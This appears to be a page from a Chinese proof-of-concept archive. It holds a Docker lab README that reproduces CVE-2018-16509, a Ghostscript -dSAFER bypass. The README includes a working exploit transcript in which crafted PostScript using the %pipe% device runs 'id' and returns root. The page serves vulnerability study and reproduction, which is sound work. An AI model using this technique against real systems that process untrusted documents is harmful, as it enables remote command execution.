目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%

CVE-2018-16509 PoC — Artifex Ghostscript 安全漏洞

来源
关联漏洞
标题: Artifex Ghostscript 安全漏洞 (CVE-2018-16509)
Description:Artifex Ghostscript是美国Artifex Software公司的一款开源的PostScript(一种用于电子产业和桌面出版领域的页面描述语言和编程语言)解析器,它可显示Postscript文件以及在非Postscript打印机上打印Postscript文件。 Artifex Ghostscript 9.24之前版本中存在安全漏洞,该漏洞源于在处理/invalidaccess异常时,程序没有正确的检测‘restoration of privilege(权限恢复)’。攻击者可通过提交特制的P
Description
CVE-2018-16509 Docker Playground - Ghostscript command execution
介绍
# CVE-2018-16509 Docker Playground

"An issue was discovered in Artifex Ghostscript before 9.24. Incorrect "restoration of privilege" checking during handling of /invalidaccess exceptions could be used by attackers able to supply crafted PostScript to execute code using the "pipe" instruction."
https://nvd.nist.gov/vuln/detail/CVE-2018-16509
https://access.redhat.com/security/cve/cve-2018-16509

## Build
```
docker build -t cve-2018-16509:latest . 
```

## Run + Exec
```
docker exec -it `docker run -d cve-2018-16509:latest` bash
```
## Version
```
[root@400498314b62 ~]# gs -v
GPL Ghostscript 9.22 (2017-10-04)
Copyright (C) 2017 Artifex Software, Inc.  All rights reserved.
```
## Exploit
```
gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/null
GS>legal
GS>{ null restore } stopped { pop } if
GS>legal
GS>mark /OutputFile (%pipe%id) currentdevice putdeviceprops
GS<1>showpage
uid=0(root) gid=0(root) groups=0(root)
[root@400498314b62 ~]# 
```
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →